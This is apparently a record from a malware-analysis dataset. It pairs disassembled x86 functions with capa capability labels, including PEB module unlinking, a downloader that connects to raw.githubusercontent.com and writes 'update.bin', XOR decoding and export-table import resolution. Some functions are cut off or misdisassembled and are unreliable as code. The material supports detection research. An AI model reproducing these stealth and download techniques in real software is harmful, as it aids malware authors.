joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001d0b
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0xc]
push ebx
push esi
push edi
push eax
push 0x59
push edx
mov esi, ecx
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10001dd3
mov eax, dword [ebp - 8]
xor ebx, ebx
xorps xmm0, xmm0
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov edi, ebx
mov dword [ebp - 0x34], ebx
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x40], 0x20
mov dword [ebp - 0x3c], str.1.3.6.1.5.5.7.3.2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], eax
push edi
lea eax, [ebp - 0x40]
push eax
push 1
push ebx
push 1
push dword [0x10006460]
call dword [sym.imp.CRYPT32.dll_CertFindChainInStore]
mov edi, eax
test edi, edi
je 0x10001dd3
mov ecx, dword [edi + 0x10]
lea eax, [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [0x10006430], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ecx
push eax
push ebx
push ebx
push 0x10006428
push ebx
push 2
push str.Microsoft_Unified_Security_Protocol_Provider
push ebx
mov dword [0x10006428], 4
mov dword [0x1000642c], 1
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
test eax, eax
jne 0x10001d57
push esi
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov eax, dword [ebp - 0x14]
mov dword [esi], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001e07
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
mov ecx, dword [0x1000641c]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov edx, dword [eax]
jmp 0x10001e2c
test edx, edx
je 0x10001e8a
cmp dword [edx + 0x18], ecx
je 0x10001e32
mov edx, dword [edx]
cmp edx, eax
jne 0x10001e21
leave
ret
mov dword [0x10006404], ecx
mov ecx, dword [edx + 4]
mov dword [0x10006414], edx
mov eax, dword [ecx]
mov dword [0x10006408], eax
mov eax, dword [edx + 0x14]
mov eax, dword [eax]
mov dword [0x10006410], eax
mov eax, dword [edx + 0xc]
mov eax, dword [eax]
mov dword [0x1000640c], eax
mov eax, dword [edx]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0x14]
mov eax, dword [edx + 0x10]
mov dword [ecx], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 8]
mov dword [ecx], eax
leave
ret
Function at 0x10001ee5
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
inc ebx
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 0xf
mov esi, eax
call fcn.100028cb
push 0x1a4
mov dword [0x10006418], eax
mov dword [eax + 7], esi
call fcn.100028cb
mov esi, dword [0x10006418]
add esp, 0xc
movzx edx, word [0x10006018]
mov edi, eax
mov eax, 0xffff
cmp word [0x10006018], ax
push edi
cmove edx, ebx
mov dword [esi + 0xb], edi
push 0x202
mov dword [esi], ebx
mov word [esi + 4], dx
mov byte [esi + 6], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 2
pop eax
lea ecx, [edi + 0x198]
mov word [edi + 0x194], ax
call fcn.10002490
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10001f8e
or ecx, 0xffffffff
call fcn.10002400
push eax
call fcn.10001f9b
pop ecx
push 0x10004758
call fcn.10001f9b
pop ecx
leave
ret
Function at 0x1000236c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100023af
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 0x5a2
mov dword [0x1000641c], esi
push str.ws2_32
mov word [0x10006018], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x10002318
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x10002490
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.raw.githubusercontent.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.1000104e
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push str._r_n_r_n
push dword [0x10006478]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
push 0xa
lea ecx, [ebp - 0x1c]
add eax, 4
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100028ba
leave
ret
Function at 0x1000255b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 6
push 1
mov bx, dx
mov esi, ecx
push 2
mov word [ebp - 2], bx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x190], eax
cmp eax, 0xffffffff
je 0x100026a1
push 0x10
lea ecx, [esi + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 0
mov word [ebp - 7], bx
call fcn.10002883
push 0x15
call fcn.10002900
pop ecx
mov edi, eax
mov ecx, edi
call fcn.100023b6
mov ecx, dword [ebp - 0xc]
mov ebx, eax
push 0
push 0x11
push edi
mov dword [ebx + edi], ecx
lea eax, [ebx + edi]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000267d
push 0
push 0x15
push edi
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x15
jne 0x10002679
mov ecx, edi
call fcn.100023d1
test al, al
je 0x10002675
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0xc]
push 0x11
pop eax
sub eax, ebx
push eax
lea eax, [edi + 4]
add eax, ebx
push eax
call fcn.10002883
mov eax, dword [ebx + edi]
cmp eax, dword [ebp - 0xc]
jne 0x10002671
lea eax, [ebx + edi]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
cmp byte [ebp - 8], 0x7f
jne 0x1000266d
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002669
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002665
mov esi, dword [ebx + edi + 8]
push edi
call fcn.100028fb
pop ecx
mov eax, esi
jmp 0x100026b3
push 8
jmp 0x1000267f
push 7
jmp 0x1000267f
push 6
jmp 0x1000267f
push 5
jmp 0x1000267f
push 4
jmp 0x1000267f
push 3
jmp 0x1000267f
push 2
pop ecx
call fcn.10002400
push eax
call fcn.10001f9b
pop ecx
push edi
call fcn.100028fb
pop ecx
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x100026b0
xor ecx, ecx
inc ecx
call fcn.10002400
push eax
call fcn.10001f9b
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100026b8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push 6
push 1
mov bx, dx
mov edi, ecx
push 2
mov word [ebp - 2], bx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x190], eax
cmp eax, 0xffffffff
je 0x10002870
push esi
push 0x10
lea ecx, [edi + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 1
mov word [ebp - 7], bx
call fcn.10002883
push 0x11
call fcn.10002900
pop ecx
mov esi, eax
mov ecx, esi
call fcn.100023b6
mov ecx, dword [ebp - 0xc]
mov ebx, eax
push 0
push 0x11
push esi
mov dword [ebx + esi], ecx
lea eax, [ebx + esi]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000284b
push 0
push 0x11
push esi
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x11
jne 0x10002847
mov ecx, esi
call fcn.100023d1
test al, al
je 0x10002843
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0xc]
push 0xd
pop eax
sub eax, ebx
push eax
lea eax, [esi + 4]
add eax, ebx
push eax
call fcn.10002883
mov eax, dword [ebx + esi]
cmp eax, dword [ebp - 0xc]
jne 0x1000283f
lea eax, [ebx + esi]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
mov cl, byte [ebp - 8]
cmp cl, 0x7e
jne 0x10002832
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x1000282e
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x1000282a
push 0xfffffffffffffffe
pop ecx
call fcn.10002400
push eax
call fcn.10001f9b
push esi
call fcn.100028fb
push 0x401
call fcn.10002900
push 0x10004850
push str.update.bin
mov esi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 0x14
mov ebx, eax
jmp 0x10002809
push eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
push 0
push 0x400
push esi
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
push ebx
test eax, eax
jg 0x100027fc
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x10002859
push 8
jmp 0x1000284d
push 7
jmp 0x1000284d
cmp cl, 0xff
jne 0x1000283b
push 9
jmp 0x1000284d
push 6
jmp 0x1000284d
push 5
jmp 0x1000284d
push 4
jmp 0x1000284d
push 3
jmp 0x1000284d
push 2
pop ecx
call fcn.10002400
push eax
call fcn.10001f9b
pop ecx
push esi
call fcn.100028fb
pop ecx
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
jmp 0x1000287f
xor ecx, ecx
inc ecx
call fcn.10002400
push eax
call fcn.10001f9b
pop ecx
pop edi
pop ebx
leave
ret
Function at 0x10002883
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x100028b4
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [eax*4 + 0x10004358]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10002897
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8
Function at 0x4013b6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x30c
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x18]
mov edi, dword [eax + 0xb33be]
mov esi, dword [eax + 0xb33c2]
lea ecx, [ebp - 0x2ec]
cmp edi, edx
je 0x4013f8
mov ebx, dword [eax + edx*4 + 0xb33c6]
add ebx, esi
mov dword [ecx + edx*4], ebx
inc edx
jmp 0x4013df
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x308], ecx
add eax, edx
lea edx, [ebp - 0x308]
mov dword [esp], edx
call eax
add esp, 0x30c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403b10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4958b6
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x4da064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x30], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
push 0
mov dword [ebp - 0x38], esi
push 0
mov dword [ebp - 0x2c], 0
mov eax, dword [eax + 0xc]
push 0x2000003
add eax, 0x30
push eax
push 1
call dword [sym.imp.CRYPT32.dll_CertNameToStrW]
mov edi, eax
xor eax, eax
test edi, edi
je 0x403c08
push eax
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], eax
push edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00404080
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x30]
cmovae ecx, dword [ebp - 0x28]
push edi
push ecx
mov eax, dword [eax + 0xc]
push 0x2000003
add eax, 0x30
push eax
push 1
call dword [sym.imp.CRYPT32.dll_CertNameToStrW]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
dec eax
cmp dword [ebp - 0x14], 8
mov dword [ebp - 0x18], eax
cmovae ecx, dword [ebp - 0x28]
xor edx, edx
mov word [ecx + eax*2], dx
xor eax, eax
movups xmm0, xmmword [ebp - 0x28]
mov word [ebp - 0x28], ax
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x18]
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x2c], 1
mov byte [ebp - 4], al
lea ecx, [ebp - 0x28]
call fcn.00403630
jmp 0x403c23
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047615e
mov esp, ebp
pop ebp
ret

Function at 0x403ed0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4954a0
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x4da064]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x403f55
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403f55
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x403f37
cmp esi, edx
jae 0x403f55
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x403f25
cmp esi, edx
jae 0x403f55
cmp word [esi], 0
je 0x403f55
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406870
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4962a3
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push ebx
push esi
push edi
mov eax, dword [0x4da064]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
cmp edx, eax
je 0x406a88
mov ecx, dword [ebx + 4]
lea eax, [ebx + 4]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0x48], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x20], ecx
mov ecx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 0
lea esi, [edx + 8]
cmp dword [esi + 0x14], 8
mov eax, dword [edx + 4]
mov ebx, dword [esi + 0x10]
mov dword [ebp - 0x30], eax
jb 0x4068e6
mov esi, dword [esi]
xor edx, edx
mov edi, 0x811c9dc5
add ebx, ebx
je 0x406902
movzx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ebx
jb 0x4068f1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
and eax, edi
lea eax, [edx + eax*8]
mov edx, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x2c], eax
nop
mov edi, ecx
cmp ecx, eax
mov eax, dword [ecx]
mov dword [ebp - 0x40], eax
sete bl
mov dword [ebp - 0x28], eax
lea esi, [edi + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], esi
mov byte [ebp - 4], 1
lea ecx, [esi + 0x18]
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 4], 1
call fcn.00403630
mov byte [ebp - 4], 0
mov ecx, esi
call fcn.00403630
push 0x38
push edi
call fcn.004765ec
mov ecx, dword [ebp - 0x14]
add esp, 8
dec dword [ecx + 8]
test bl, bl
jne 0x40698d
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
jne 0x406920
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
jne 0x406a76
mov eax, dword [ebp - 0x18]
jmp 0x406a74
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
mov eax, dword [ebp - 0x18]
jne 0x40699f
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
jmp 0x4069a2
mov ecx, dword [ebp - 0x30]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 0xc]
je 0x406a76
cmp dword [ecx + 0x1c], 8
lea edx, [ecx + 8]
mov edi, dword [edx + 0x10]
jb 0x4069bf
mov edx, dword [edx]
xor eax, eax
mov esi, 0x811c9dc5
add edi, edi
je 0x4069e4
nop word [eax + eax]
movzx ecx, byte [eax + edx]
inc eax
xor ecx, esi
imul esi, ecx, 0x1000193
cmp eax, edi
jb 0x4069d0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
and eax, esi
lea eax, [edx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
nop dword [eax + eax]
mov edi, ecx
cmp ecx, eax
mov eax, dword [ecx]
mov dword [ebp - 0x40], eax
sete bl
adc dword [eax], eax
add byte [edx + 0x1a], ch
into
Function at 0x406b68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20c
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x220]
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi + 0x78]
mov eax, dword [ecx + edi + 0x1c]
mov ebp, dword [ecx + edi + 0x20]
add eax, edi
mov ebx, dword [ecx + edi + 0x24]
add ebp, edi
mov dword [esp + 0x10], eax
add ebx, edi
jmp 0x406bde
push 0x208
lea eax, [esp + 0x18]
sbb byte [eax - 0x18], dl
xor al, 0x14
add byte [eax], al
lea eax, [esp + 0x14]
push eax
push esi
call fcn.00407263
push dword [esp + 0x228]
lea eax, [esp + 0x18]
push eax
call fcn.00407a3e
movzx ecx, word [ebx]
mov edx, dword [esp + 0x10]
mov ecx, dword [edx + ecx*4]
add ecx, edi
cmp dword [esp + 0x224], eax
je 0x406bf7
add ebx, 2
add ebp, 4
mov esi, dword [ebp]
add esi, edi
cmp byte [esi], 0
jne 0x406b98
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret 0xc
mov eax, ecx
jmp 0x406bea
Function at 0x406fe0
Capabilities:
Encode data using xor

Disassembly:
push 0xd94
push dword [ebx + 0x38]
call fcn.00407b2e
add byte [eax], al
add byte [eax], al
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x44]
push eax
push esi
push ebx
call fcn.00407447
test eax, eax
jle 0x406f15
push ebp
push dword [ebp + 0x14]
mov dword [esp + 0x70], ebx
push edi
call fcn.00406b68
push ebp
push dword [ebp + 0x100]
mov dword [esp + 0x64], eax
push edi
call fcn.00406b68
mov esi, dword [esp + 0x10]
push ebp
push dword [ebp + 0xb8]
mov dword [esp + 0x68], eax
push esi
call fcn.00406b68
xor edi, edi
mov dword [esp + 0x58], eax
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0x24], edi
push eax
push ebx
mov dword [esp + 0x38], edi
call fcn.004077ca
lea eax, [esp + 0x30]
mov dword [esp + 0x30], edi
push eax
lea eax, [esp + 0x24]
push eax
push ebx
push dword [esp + 0x38]
call fcn.00407c3b
push ebp
push dword [ebp + 0xec]
push esi
call fcn.00406b68
mov edi, dword [ebp + 0xb0]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x40], eax
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x10], eax
mov edx, dword [edi + ecx]
mov esi, dword [edi + ecx + 4]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x9c]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x12c]
mov dword [esp + 0x44], eax
inc esp
mov eax, dword [ebp + 0x84]
xor eax, dword [ebp]
mov dword [esp + 0x2c], edx
mov dword [esp + 0x3c], esi
cmp edx, eax
jne 0x407012
push ebp
push ebx
lea eax, [esp + 0x20]
push eax
push esi
push dword [esp + 0x40]
lea eax, [ecx + 8]
add eax, edi
push eax
call fcn.00407cb6
jmp 0x40714e
push edx
push ebx
call fcn.00407fa4
mov ecx, dword [esp + 0x20]
mov esi, eax
push dword [esp + 0x2c]
add ecx, 8
add ecx, edi
push ecx
push esi
call fcn.00406b27
mov ecx, dword [esp + 0x2c]
xor eax, eax
test ecx, ecx
je 0x407047
mov edx, dword [esp + 0x3c]
xor dword [eax + esi], edx
add eax, 4
cmp eax, ecx
jb 0x40703d
push 0
push ebx
call fcn.00407fa4
mov cl, byte [esi]
mov dword [esp + 0x30], eax
test cl, cl
je 0x40706c
mov edx, eax
movsx ax, cl
inc esi
mov word [edx], ax
lea edx, [edx + 2]
mov cl, byte [esi]
test cl, cl
jne 0x40705b
push ebx
call fcn.0040766d
push ebp
push dword [esp + 0x34]
call fcn.00407a3e
push ebp
push eax
mov dword [esp + 0x44], eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x68]

Function at 0x407295
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
jmp 0x40729c
dec eax
test al, 3
jne 0x40729b
xor ecx, ecx
test eax, eax
je 0x4072ba
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
xor dword [ecx + edx], esi
add ecx, 4
cmp ecx, eax
jb 0x4072af
pop esi
ret 0x10
Function at 0x407f80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov eax, ecx
shr eax, 0x18
mov byte [ebp + 0x10], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp + 0x11], al
mov eax, ecx
mov byte [ebp + 0x13], cl
xor ecx, ecx
shr eax, 8
mov edx, ecx
mov byte [ebp + 0x12], al
cmp dword [ebp + 0xc], ecx
or al, 0x76
invalid
push esi
mov esi, dword [ebp + 8]
mov al, byte [ebp + ecx + 0x10]
xor byte [edx + esi], al
lea eax, [ecx + 1]
xor ecx, ecx
inc edx
cmp eax, 4
cmovne ecx, eax
cmp edx, dword [ebp + 0xc]
jb 0x407f87
pop esi
pop ebp
ret 0xc
Function at 0x408ad0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49672f
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4da064]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call fcn.004039e0
test eax, eax
je 0x408be2
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx esi, ax
call fcn.004039e0
test eax, eax
je 0x408be2
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
push esi
push ebx
push dword [0x4db394]
mov dword [ebp - 0x14], 3
call fcn.004091e0
mov esi, dword [ebp - 0x10]
cmp dword [esi - 0xc], 0
jne 0x408b96
push 0
push ebx
push dword [0x4db394]
lea ecx, [ebp - 0x10]
call fcn.004091e0
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.00407fe0
mov eax, 3
mov dword [ebp - 0x14], eax
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x408bce
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00402150
int3